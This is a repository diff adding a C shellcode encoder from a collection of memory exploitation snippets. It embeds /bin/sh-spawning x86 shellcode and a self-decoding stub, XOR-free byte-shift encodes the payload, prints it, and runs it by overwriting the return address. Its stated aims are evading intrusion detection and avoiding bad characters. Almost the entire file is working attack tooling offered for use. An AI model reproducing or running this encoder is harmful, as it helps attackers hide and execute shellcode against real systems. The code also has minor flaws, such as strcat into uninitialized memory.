some memory exploitation snippets

Memory_Exploits/C-codes/shellcode_encode.c

@@ -0,0 +1,100 @@
+#include <stdlib.h>
+#include <string.h>
+
+/*
+ *  Shellcode encoder 0.1 by zillion (safemode.org)
+ *
+ *  Wish list :
+ *  -----------
+ *
+ *  - Make the decoder polymorphic  
+ *  - Add OS detection (see safemode)
+ *
+ *  How to use it :
+ *  ---------------
+ *
+ *  Replace the shellcode with any shellcode, compile this file
+ *  and execute it. The decoder is OS independent and can thus be
+ *  used for any OS on Intel. The purpose: 
+ *
+ *  - Lower chance of IDS detection 
+ *  - Counter difficult characters
+ *  - Confuse sans students  ;-) 
+ *
+ *  The decoder :
+ *  -------------
+ *  
+ *  jmp short go
+ *  next:
+ *
+ *  pop             esi           
+ *  xor             ecx,ecx
+ *  mov             cl,11 
+ *  change:
+ *  sub byte        [esi + ecx - 1 ],11
+ *  sub             cl, 1
+ *  jnz change
+ *  jmp short ok
+ *  go:
+ *  call next
+ *  ok:
+ *  <shellcode comes here>
+ *
+ */
+
+void execute(char *  data);
+
+int main() {
+
+char decoder[] =
+        "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01"
+        "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff";
+
+char shellcode[] =
+        "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd"
+        "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
+
+char tmp;
+char *end;
+int size  = 53;
+int i; 
+int l = 15;
+
+for(i=0;i<strlen(shellcode);i++) {
+
+   shellcode[i] += size;
+
+}
+        decoder[6]  += strlen(shellcode);
+        decoder[11] += size;
+
+end = (char *) malloc(strlen(shellcode) + strlen(decoder));
+
+strcat(end,decoder);
+strcat(end,shellcode);
+
+        printf("\n\nchar shellcode[] =\n");
+
+        for(i = 0; i < strlen(end); ++i) {
+          if(l >= 15) {
+            if(i) printf("\"\n");
+            printf( "\t\"");
+            l = 0;
+          }
+          ++l;
+          printf("\\x%02x", ((unsigned char *)end)[i]);
+        }
+
+execute(end);
+free(end);
+}
+
+
+void execute(char *data) {
+
+int *ret;
+ret = (int *)&ret + 2;
+(*ret) = (int)data;
+
+}
+